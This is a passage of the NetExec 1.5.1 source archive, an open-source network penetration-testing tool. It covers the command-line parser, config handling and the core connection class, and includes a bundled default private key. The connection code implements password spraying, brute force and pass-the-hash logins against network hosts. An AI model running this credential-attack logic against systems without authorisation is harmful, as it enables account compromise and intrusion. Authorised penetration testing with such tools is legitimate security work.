NetExec-1.5.1/nxc/000077500000000000000000000000001514706431700136515ustar00rootroot00000000000000NetExec-1.5.1/nxc/.hooks/000077500000000000000000000000001514706431700150525ustar00rootroot00000000000000NetExec-1.5.1/nxc/.hooks/hook-lsassy.py000066400000000000000000000001501514706431700176740ustar00rootroot00000000000000from PyInstaller.utils.hooks import collect_all datas, binaries, hiddenimports = collect_all("lsassy") NetExec-1.5.1/nxc/.hooks/hook-pypykatz.py000066400000000000000000000001521514706431700202530ustar00rootroot00000000000000from PyInstaller.utils.hooks import collect_all datas, binaries, hiddenimports = collect_all("pypykatz") NetExec-1.5.1/nxc/__init__.py000077500000000000000000000000001514706431700157530ustar00rootroot00000000000000NetExec-1.5.1/nxc/cli.py000077500000000000000000000215221514706431700147770ustar00rootroot00000000000000import argparse import argcomplete import sys from argparse import RawTextHelpFormatter from os import listdir from os.path import dirname from os.path import join as path_join import nxc from nxc.paths import NXC_PATH from nxc.loaders.protocolloader import ProtocolLoader from nxc.helpers.logger import highlight from nxc.helpers.args import DisplayDefaultsNotNone from nxc.logger import nxc_logger, setup_debug_logging import importlib.metadata def gen_cli_args(): setup_debug_logging() try: VERSION, COMMIT = importlib.metadata.version("netexec").split("+") DISTANCE, COMMIT = COMMIT.split(".") except ValueError: VERSION = importlib.metadata.version("netexec") COMMIT = "" DISTANCE = "" CODENAME = "Yippie-Ki-Yay" generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) generic_group = generic_parser.add_argument_group("Generic Options") generic_group.add_argument("--version", action="store_true", help="Display nxc version") generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use") generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread") generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication") output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) output_group = output_parser.add_argument_group("Output Options") output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan") output_group.add_argument("--log", metavar="LOG", help="export result into a custom file") log_level = output_group.add_mutually_exclusive_group() log_level.add_argument("--verbose", action="store_true", help="enable verbose output") log_level.add_argument("--debug", action="store_true", help="enable debug level information") dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) dns_group = dns_parser.add_argument_group("DNS") dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6") dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)") dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries") dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds") parser = argparse.ArgumentParser( description=rf""" . . .| |. _ _ _ _____ || || | \ | | ___ | |_ | ____| __ __ ___ ___ \\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __| .=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__ / /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___| ˙ \ / ˙ ˙ ˙ The network execution tool Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx For documentation and usage examples, visit: https://www.netexec.wiki/ {highlight('Version', 'red')} : {highlight(VERSION)} {highlight('Codename', 'red')}: {highlight(CODENAME)} {highlight('Commit', 'red')} : {highlight(COMMIT)} """, formatter_class=RawTextHelpFormatter, parents=[generic_parser, output_parser, dns_parser] ) # we do module arg parsing here so we can reference the module_list attribute below module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) mgroup = module_parser.add_argument_group("Modules") mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use") mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options") mgroup.add_argument("-L", "--list-modules", nargs="?", type=str, const="", help="list available modules") mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options") subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol") std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone) std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules is not None or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)") credential_group = std_parser.add_argument_group("Authentication") credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames") credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords") credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication") credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file") credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)") credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes") credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts") credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username") credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host") kerberos_group = std_parser.add_argument_group("Kerberos Authentication") kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication") kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)") kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)") kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") certificate_group = std_parser.add_argument_group("Certificate Authentication") certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx") certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64") certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate") certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file") certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format") p_loader = ProtocolLoader() protocols = p_loader.get_protocols() try: for protocol in protocols: protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"]) subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser]) except Exception as e: nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}") argcomplete.autocomplete(parser, always_complete_options=False) args = parser.parse_args() if len(sys.argv) == 1: parser.print_help() sys.exit(1) if args.version: print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}") sys.exit(1) # Multiply output_tries by 10 to enable more fine granural control, see exec methods if hasattr(args, "get_output_tries"): args.get_output_tries = args.get_output_tries * 10 return args, [CODENAME, VERSION, COMMIT, DISTANCE] def get_module_names(): """Get module names without initializing them""" modules = [] modules_paths = [ path_join(dirname(nxc.__file__), "modules"), path_join(NXC_PATH, "modules"), ] for path in modules_paths: modules.extend([module[:-3] for module in listdir(path) if module[-3:] == ".py" and module != "example_module.py"]) return sorted(modules, key=str.casefold) NetExec-1.5.1/nxc/config.py000066400000000000000000000044731514706431700155000ustar00rootroot00000000000000from os.path import join as path_join import configparser from nxc.paths import DATA_PATH, CONFIG_PATH from nxc.first_run import first_run_setup from nxc.logger import nxc_logger from ast import literal_eval nxc_default_config = configparser.ConfigParser() nxc_default_config.read(path_join(DATA_PATH, "nxc.conf")) nxc_config = configparser.ConfigParser() nxc_config.read(CONFIG_PATH) if "nxc" not in nxc_config.sections(): first_run_setup() nxc_config.read(CONFIG_PATH) # Check if there are any missing options in the config file for section in nxc_default_config.sections(): if not nxc_config.has_section(section): nxc_logger.display(f"Adding missing section '{section}' to nxc.conf") nxc_config.add_section(section) with open(CONFIG_PATH, "w") as config_file: nxc_config.write(config_file) for option in nxc_default_config.options(section): if not nxc_config.has_option(section, option): nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf") nxc_config.set(section, option, nxc_default_config.get(section, option)) with open(CONFIG_PATH, "w") as config_file: nxc_config.write(config_file) # THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE nxc_workspace = nxc_config.get("nxc", "workspace", fallback="default") pwned_label = nxc_config.get("nxc", "pwn3d_label", fallback="Pwn3d!") audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False) reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0)) config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False) host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"])) check_guest_account = nxc_config.getboolean("nxc", "check_guest_account", fallback=False) if len(host_info_colors) != 4: nxc_logger.error("Config option host_info_colors must have 4 values! Using default values.") host_info_colors = nxc_default_config.get("nxc", "host_info_colors") # this should probably be put somewhere else, but if it's in the config helpers, there is a circular import def process_secret(text): reveal = text[:reveal_chars_of_pwd] return text if not audit_mode else reveal + (audit_mode if len(audit_mode) > 1 else audit_mode * 8) NetExec-1.5.1/nxc/connection.py000077500000000000000000000614041514706431700163720ustar00rootroot00000000000000from datetime import datetime import os import random import sys import contextlib from os.path import isfile from threading import BoundedSemaphore from functools import wraps from time import sleep from ipaddress import ip_address from dns import resolver, rdatatype from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo from nxc.config import pwned_label from nxc.helpers.logger import highlight from nxc.loaders.moduleloader import ModuleLoader from nxc.logger import nxc_logger, NXCAdapter from nxc.context import Context from nxc.paths import NXC_PATH from nxc.protocols.ldap.laps import laps_search from nxc.helpers.pfx import pfx_auth from impacket.dcerpc.v5 import transport sem = BoundedSemaphore(1) global_failed_logins = 0 user_failed_logins = {} def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout): result = { "host": "", "is_ipv6": False, "is_link_local_ipv6": False } address_info = {"AF_INET6": "", "AF_INET": ""} try: if ip_address(target).version == 4: address_info["AF_INET"] = target else: address_info["AF_INET6"] = target except Exception: # If the target is not an IP address, we need to resolve it if not (dns_server or dns_tcp): for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME): af, _, _, canonname, sa = res address_info[af.name] = sa[0] if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local: address_info["AF_INET6"] = canonname result["is_link_local_ipv6"] = True else: dnsresolver = resolver.Resolver() dnsresolver.timeout = dns_timeout dnsresolver.lifetime = dns_timeout if dns_server: dnsresolver.nameservers = [dns_server] try: answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp) address_info["AF_INET"] = answers_ipv4[0].address except Exception: pass try: answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp) address_info["AF_INET6"] = answers_ipv6[0].address if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local: result["is_link_local_ipv6"] = True except Exception: pass if not (address_info["AF_INET"] or address_info["AF_INET6"]): raise Exception(f"The DNS query name does not exist: {target}") # IPv4 preferred if address_info["AF_INET"] and not force_ipv6: result["host"] = address_info["AF_INET"] else: result["is_ipv6"] = True result["host"] = address_info["AF_INET6"] return result def requires_admin(func): def _decorator(self, *args, **kwargs): if self.admin_privs is False: if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec": return func(self, *args, **kwargs) return None return func(self, *args, **kwargs) return wraps(func)(_decorator) def dcom_FirewallChecker(iInterface, remoteHost, timeout): stringBindings = iInterface.get_cinstance().get_string_bindings() for strBinding in stringBindings: if strBinding["wTowerId"] == 7: if strBinding["aNetworkAddr"].find("[") >= 0: binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[") bindingPort = "[" + bindingPort else: binding = strBinding["aNetworkAddr"] bindingPort = "" if binding.upper().find(iInterface.get_target().upper()) >= 0: stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1] break elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0: stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}" if "stringBinding" not in locals(): return True, None try: rpctransport = transport.DCERPCTransportFactory(stringBinding) rpctransport.setRemoteHost(remoteHost) rpctransport.set_connect_timeout(timeout) rpctransport.connect() rpctransport.disconnect() except Exception as e: nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}") return False, stringBinding else: return True, stringBinding class connection: def __init__(self, args, db, target): self.args = args self.db = db self.logger = nxc_logger self.conn = None self.output_file_template = None self.output_filename = None # Authentication info self.password = "" self.username = "" self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey or (hasattr(self.args, "delegate") and self.args.delegate) or (hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets)) self.aesKey = None if not self.args.aesKey else self.args.aesKey[0] self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache self.admin_privs = False self.failed_logins = 0 # Network info self.domain = None self.host = None # IP address of the target. If kerberos this is the hostname self.hostname = target # Target info supplied by the user, may be an IP address or a hostname self.remoteName = target # hostname + domain, defaults to target if domain could not be resolved/not specified self.kdcHost = self.args.kdcHost self.port = self.args.port self.local_ip = None self.dns_server = self.args.dns_server # DNS resolution dns_result = self.resolver(target) if dns_result: self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"] else: return if self.kerberos: self.host = self.hostname self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}") try: self.proto_flow() except FileNotFoundError as e: self.logger.error(f"File not found error on target {target}: {e}") except Exception as e: if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e): self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}") # Catching impacket SMB specific exceptions, which should not be imported due to performance reasons elif e.__class__.__name__ in ["NetBIOSTimeout", "NetBIOSError"]: self.logger.error(f"{e.__class__.__name__} on target {target}: {e}") else: self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}") finally: self.logger.debug(f"Closing connection to: {target}") with contextlib.suppress(Exception): self.conn.close() def resolver(self, target): try: return get_host_addr_info( target=target, force_ipv6=self.args.force_ipv6, dns_server=self.args.dns_server, dns_tcp=self.args.dns_tcp, dns_timeout=self.args.dns_timeout ) except Exception as e: self.logger.info(f"Error resolving hostname {target}: {e}") return None @staticmethod def proto_args(std_parser, module_parser): return def proto_logger(self): pass def enum_host_info(self): return def print_host_info(self): return def create_conn_obj(self): return def disconnect(self): return def check_if_admin(self): return def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): return def plaintext_login(self, username, password): return def hash_login(self, domain, username, ntlm_hash): return def proto_flow(self): self.logger.debug("Kicking off proto_flow") self.proto_logger() if not self.create_conn_obj(): self.logger.info(f"Failed to create connection object for target {self.host}, exiting...") else: self.logger.debug("Created connection object") self.enum_host_info() # Construct the output file template using os.path.join for OS compatibility base_log_dir = os.path.join(NXC_PATH, "logs") filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-") self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern) # Default output filename for logs self.output_filename = os.path.join(base_log_dir, filename_pattern) self.print_host_info() if self.login() or (self.username == "" and self.password == ""): if hasattr(self.args, "module") and self.args.module: self.load_modules() self.logger.debug("Calling modules") self.call_modules() else: self.logger.debug("Calling command arguments") self.call_cmd_args() self.disconnect() def call_cmd_args(self): """Calls all the methods specified by the command line arguments Iterates over the attributes of an object (self.args) For each attribute, it checks if the object (self) has an attribute with the same name and if that attribute is callable (i.e., a function) If both conditions are met and the attribute value is not False or None, it calls the function and logs a debug message Parameters ---------- self (object): The instance of the class. Returns ------- None """ for attr, value in vars(self.args).items(): if hasattr(self, attr) and callable(getattr(self, attr)) and value is not False and value is not None: self.logger.debug(f"Calling {attr}()") getattr(self, attr)() def call_modules(self): """Calls modules and performs various actions based on the module's attributes. It iterates over the modules specified in the command line arguments. For each module, it loads the module and creates a context object, then calls functions based on the module's attributes. """ for module in self.modules: self.logger.debug(f"Loading module {module.name} - {module}") module_logger = NXCAdapter( extra={ "module_name": module.name.upper(), "host": self.host, "port": self.port, "hostname": self.hostname, }, ) self.logger.debug(f"Loading context for module {module.name} - {module}") context = Context(self.db, module_logger, self.args) context.localip = self.local_ip if hasattr(module, "on_login"): self.logger.debug(f"Module {module.name} has on_login method") module.on_login(context, self) if self.admin_privs and hasattr(module, "on_admin_login"): self.logger.debug(f"Module {module.name} has on_admin_login method") module.on_admin_login(context, self) def inc_failed_login(self, username): global global_failed_logins, user_failed_logins if username not in user_failed_logins: user_failed_logins[username] = 0 user_failed_logins[username] += 1 global_failed_logins += 1 self.failed_logins += 1 def over_fail_limit(self, username): global global_failed_logins, user_failed_logins if global_failed_logins == self.args.gfail_limit: return True if self.failed_logins == self.args.fail_limit: return True if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103 return True return False def query_db_creds(self): """Queries the database for credentials to be used for authentication. Valid cred_id values are: - a single cred_id - a range specified with a dash (ex. 1-5) - 'all' to select all credentials :return: domains[], usernames[], owned[], secrets[], cred_types[] """ domains = [] usernames = [] owned = [] secrets = [] cred_types = [] creds = [] # list of tuples (cred_id, domain, username, secret, cred_type, pillaged_from) coming from the database data = [] # Arbitrary data needed for the login, e.g. ssh_key for cred_id in self.args.cred_id: if cred_id.lower() == "all": creds = self.db.get_credentials() else: if not self.db.get_credentials(filter_term=int(cred_id)): self.logger.error(f"Invalid database credential ID {cred_id}!") continue creds.extend(self.db.get_credentials(filter_term=int(cred_id))) for cred in creds: c_id, domain, username, secret, cred_type, pillaged_from = cred domains.append(domain) usernames.append(username) owned.append(False) # As these are likely valid we still want to test them if they are specified in the command line secrets.append(secret) cred_types.append(cred_type) if len(secrets) != len(data): data = [None] * len(secrets) return domains, usernames, owned, secrets, cred_types, data def parse_credentials(self): r"""Parse credentials from the command line or from a file specified. Usernames can be specified with a domain (domain\\username) or without (username). If the file contains domain\\username the domain specified will be overwritten by the one in the file. :return: domain[], username[], owned[], secret[], cred_type[] """ domain = [] username = [] owned = [] secret = [] cred_type = [] # Parse usernames for user in self.args.username: if isfile(user): with open(user) as user_file: for line in user_file: if "\\" in line and len(line.split("\\")) == 2: domain_single, username_single = line.split("\\") else: domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain username_single = line domain.append(domain_single) username.append(username_single.strip()) owned.append(False) else: if "\\" in user: domain_single, username_single = user.split("\\") else: domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain username_single = user domain.append(domain_single) username.append(username_single) owned.append(False) # Parse passwords for password in self.args.password: if isfile(password): try: with open(password, errors=("ignore" if self.args.ignore_pw_decoding else "strict")) as password_file: for line in password_file: secret.append(line.strip()) cred_type.append("plaintext") except UnicodeDecodeError as e: self.logger.error(f"{type(e).__name__}: Could not decode password file. Make sure the file only contains UTF-8 characters.") self.logger.error("You can ignore non UTF-8 characters with the option '--ignore-pw-decoding'") sys.exit(1) else: secret.append(password) cred_type.append("plaintext") # Parse NTLM-hashes if hasattr(self.args, "hash") and self.args.hash: for ntlm_hash in self.args.hash: if isfile(ntlm_hash): with open(ntlm_hash) as ntlm_hash_file: for i, line in enumerate(ntlm_hash_file): line = line.strip() if len(line) != 32 and len(line) != 65 and len(line) != 0: self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}") continue else: secret.append(line) cred_type.append("hash") else: if len(ntlm_hash) != 32 and len(ntlm_hash) != 65 and len(ntlm_hash) != 0: self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent") exit(1) else: secret.append(ntlm_hash) cred_type.append("hash") self.logger.debug(secret) # Parse AES keys if self.args.aesKey: for aesKey in self.args.aesKey: if isfile(aesKey): with open(aesKey) as aesKey_file: for line in aesKey_file: secret.append(line.strip()) cred_type.append("aesKey") else: secret.append(aesKey) cred_type.append("aesKey") # Allow trying multiple users with a single password if len(username) > 1 and len(secret) == 1: secret = secret * len(username) cred_type = cred_type * len(username) self.args.no_bruteforce = True return domain, username, owned, secret, cred_type, [None] * len(secret) def try_credentials(self, domain, username, owned, secret, cred_type, data=None): """ Try to login using the specified credentials and protocol. With --jitter an authentication throttle can be applied. Possible login methods are: - plaintext (/kerberos) - NTLM-hash (/kerberos) - AES-key """ if self.over_fail_limit(username): return False if self.args.continue_on_success and owned: return False if self.args.jitter: jitter = self.args.jitter if "-" in jitter: start, end = jitter.split("-") jitter = (int(start), int(end)) else: jitter = (0, int(jitter)) value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1])) self.logger.debug(f"Throttle authentications: sleeping {value} second(s)") sleep(value) with sem: if cred_type == "plaintext": if self.kerberos: self.logger.debug("Trying to authenticate using Kerberos") return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False) elif hasattr(self.args, "domain"): # Some protocols don't use domain for login self.logger.debug("Trying to authenticate using plaintext with domain") return self.plaintext_login(domain, username, secret) elif self.args.protocol == "ssh": self.logger.debug("Trying to authenticate using plaintext over SSH") return self.plaintext_login(username, secret, data) else: self.logger.debug("Trying to authenticate using plaintext") return self.plaintext_login(username, secret) elif cred_type == "hash": if self.kerberos: return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False) return self.hash_login(domain, username, secret) elif cred_type == "aesKey": return self.kerberos_login(domain, username, "", "", secret, self.kdcHost, False) def login(self): """Try to login using the credentials specified in the command line or in the database. :return: True if the login was successful and "--continue-on-success" was not specified, False otherwise. """ # domain[n] always corresponds to username[n] and owned [n] domain = [] username = [] owned = [] # Determines whether we have found a valid credential for this user. Default: False # secret[n] always corresponds to cred_type[n] secret = [] cred_type = [] data = [] # Arbitrary data needed for the login, e.g. ssh_key if self.args.cred_id: db_domain, db_username, db_owned, db_secret, db_cred_type, db_data = self.query_db_creds() domain.extend(db_domain) username.extend(db_username) owned.extend(db_owned) secret.extend(db_secret) cred_type.extend(db_cred_type) data.extend(db_data) if self.args.username: parsed_domain, parsed_username, parsed_owned, parsed_secret, parsed_cred_type, parsed_data = self.parse_credentials() domain.extend(parsed_domain) username.extend(parsed_username) owned.extend(parsed_owned) secret.extend(parsed_secret) cred_type.extend(parsed_cred_type) data.extend(parsed_data) if self.args.use_kcache: self.logger.debug("Trying to authenticate using Kerberos cache") with sem: username = self.args.username[0] if len(self.args.username) else "" password = self.args.password[0] if len(self.args.password) else "" self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True) self.logger.info("Successfully authenticated using Kerberos cache") return True if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert: self.logger.debug("Trying to authenticate using Certificate pfx") if not self.args.username: self.logger.fail("You must specify a username when using certificate authentication") return False with sem: return pfx_auth(self) if hasattr(self.args, "laps") and self.args.laps: self.logger.debug("Trying to authenticate using LAPS") username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server) cred_type = ["plaintext"] if not (username[0] or secret[0] or domain[0]): return False if not self.args.no_bruteforce: for secr_index, secr in enumerate(secret): for user_index, user in enumerate(username): if self.try_credentials(domain[user_index], user, owned[user_index], secr, cred_type[secr_index], data[secr_index]): owned[user_index] = True if not self.args.continue_on_success: return True else: if len(username) != len(secret): self.logger.error("Number provided of usernames and passwords/hashes do not match!") return False for user_index, user in enumerate(username): if self.try_credentials(domain[user_index], user, owned[user_index], secret[user_index], cred_type[user_index], data[user_index]) and not self.args.continue_on_success: owned[user_index] = True if not self.args.continue_on_success: return True def mark_pwned(self): return highlight(f"({pwned_label})" if self.admin_privs else "") def load_modules(self): self.logger.info(f"Loading modules for target: {self.host}") loader = ModuleLoader(self.args, self.db, self.logger) self.modules = [] for module_path in self.module_paths: module = loader.init_module(module_path) self.modules.append(module) NetExec-1.5.1/nxc/console.py000066400000000000000000000001241514706431700156620ustar00rootroot00000000000000from rich.console import Console nxc_console = Console(soft_wrap=True, tab_size=4) NetExec-1.5.1/nxc/context.py000077500000000000000000000006721514706431700157170ustar00rootroot00000000000000import configparser import os from nxc.paths import NXC_PATH, CONFIG_PATH class Context: def __init__(self, db, logger, args): for key, value in vars(args).items(): setattr(self, key, value) self.db = db self.log_folder_path = os.path.join(NXC_PATH, "logs") self.localip = None self.conf = configparser.ConfigParser() self.conf.read(CONFIG_PATH) self.log = logger NetExec-1.5.1/nxc/data/000077500000000000000000000000001514706431700145625ustar00rootroot00000000000000NetExec-1.5.1/nxc/data/default.pem000066400000000000000000000054341514706431700167170ustar00rootroot00000000000000-----BEGIN PRIVATE KEY----- MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDLRxCDVVXmjcFW rvuwIZh6ywLNtffsTFQ2QAykUTl6CGzn+rpoz/s/AX7s2/dWkv+pcUULNNeH2Ae9 YNhM7vQqDzKA4Rj1FzVO9LIQot3F32e9SQWk2zJ0dia3uaxrrZTQeLOpISa9g3Q0 nnvflX2KjarZ/OUrxSJA3HRgx0C0N7bmyC/jXSeM8cLQxJjIdNpxeMfSA5koeEEJ hzaWZLgtJpX5NOxpeJBRfhPSOL3r2t2qUGnzctvHbPZmdyRwIRCAiJNSHZd+CirC ayplzdaxDZ0rlMcpaeodOTpusBLmAWEP6uQEKrRBgL+AVOo7DpncIbmMQPkSA3La Slyh+dgRAgMBAAECggEBAJW58l/KK0t2fkHrAVfqZvWLMrVyovpZ/m03IBin+z33 lsAH3eX1y4nNAEBWhQgvnkCgPcrTUS2t4YWMH8YK+60/JGPpaQid35YYhk/app9o vnCdqJqVGcTOghYxnN5zLHmhbjPVR0Ov35giY/t7kMzNLFsD+4kR2vkLaG0gVnhm gAZ0M7bN35LQT0Wk1SFjVPLwdsPb/Jvxo7ly7wVv7Y2D1vNCYoBQGoFL7/noGene mMQ+OVawP58KqoYn/WRLI9zmTWzohXvYJYvm+SiXultB4aBGgp4saYjD8gwSOBml wbz2LyRCcDVi46yDcy7iSLmMr6c4ZdkUpxRvtPJI5wECgYEA+AgBrSdOoU+pzPas HlrprQEn5XHn990wfJj5N77MtpJu7Gmf/0tWGQQ3wohmu8dfNZrE8ZsEupRUVIYh 5mLOWMmujkjNpp6A5LzZcp3hnLklORoUirZka66QgC9RSYv08PlPLy7ru+aHYsg1 uPZNcf+KgpQoCg10LFrXaCh8GlUCgYEA0c74b1Rxg2+Dr3pGfvoZcQhtg1FUOWR9 poNFkkV7vAnzoR9xLDvRtsOcGL7fu/WDtBg/XsddzfaKtU2cE05cF888OV+TYs6U Cturp+pz+Yyslh6x3AgygnpMGJp6rk5D9LLHmIWPpCPjbBSofEQL9IxKoQOYOlvm 7VrBu7Kbus0CgYAD6NRl702s+z147pZt8A7o3DDNzArU/FaMUDj1aPt/ETXQYiXU d1KHGGrslQvRf+X/SU47ZK8hZb8iie602+/WtG8c7QbYznzHnjZrORPaTYzJpqCW QyO4EstSSeylFSCqP7PA0aODlbGim/dE0BUOa/G59y3eYrHnFRN6H9E89QKBgHHK +JGhUiPAYsLU5dFOomfc81Cq1qx+JWwffKdVykN1fk7gN8iO9TJUK6B8Peq6wWD3 Wb91EBp6YkbtPf52nJpJStevT8fiVQcCl7pt/dLWinCtWzgEtihwXj9l4a4SQuc/ 4+OEZSDYWiuvlKY5XeaYBI4J3hGg8MHBXJwJxk7tAoGBALBrop1vJVxZt4+Eb9gv cc5ZRtDi79MXPePDinhRivVi/48LsYoFXRtodjcAMWqAyH7n17Kxkvl1rRsaNAq/ H4F0kXuTXReV3LtZmZTLXmju2spGz3e3yKqgB+7dWUauqK44WaO1rYz32hTxLxil kN8k77KmfNkqz+9WY6S4CqIh -----END PRIVATE KEY----- -----BEGIN CERTIFICATE----- MIIC+zCCAeOgAwIBAgIUPjiFj6PH8T2dFrcwoqL7bHkXKfQwDQYJKoZIhvcNAQEL BQAwDTELMAkGA1UEBhMCVVMwHhcNMjAwNTEwMTAyMzA5WhcNMjEwNTEwMTAyMzA5 WjANMQswCQYDVQQGEwJVUzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB AMtHEINVVeaNwVau+7AhmHrLAs219+xMVDZADKRROXoIbOf6umjP+z8Bfuzb91aS /6lxRQs014fYB71g2Ezu9CoPMoDhGPUXNU70shCi3cXfZ71JBaTbMnR2Jre5rGut lNB4s6khJr2DdDSee9+VfYqNqtn85SvFIkDcdGDHQLQ3tubIL+NdJ4zxwtDEmMh0 2nF4x9IDmSh4QQmHNpZkuC0mlfk07Gl4kFF+E9I4veva3apQafNy28ds9mZ3JHAh EICIk1Idl34KKsJrKmXN1rENnSuUxylp6h05Om6wEuYBYQ/q5AQqtEGAv4BU6jsO mdwhuYxA+RIDctpKXKH52BECAwEAAaNTMFEwHQYDVR0OBBYEFO+GlEFEBLb5Rv8x bx/bsBBNgwSxMB8GA1UdIwQYMBaAFO+GlEFEBLb5Rv8xbx/bsBBNgwSxMA8GA1Ud EwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAHU17UUlL2rl+xLdBDRqcVBb DUWwvmkBL22G05LcIIjlA7YeeKHBA0D6ppulTZ+HWZ2mo2n10bIso+SryytGrU0g 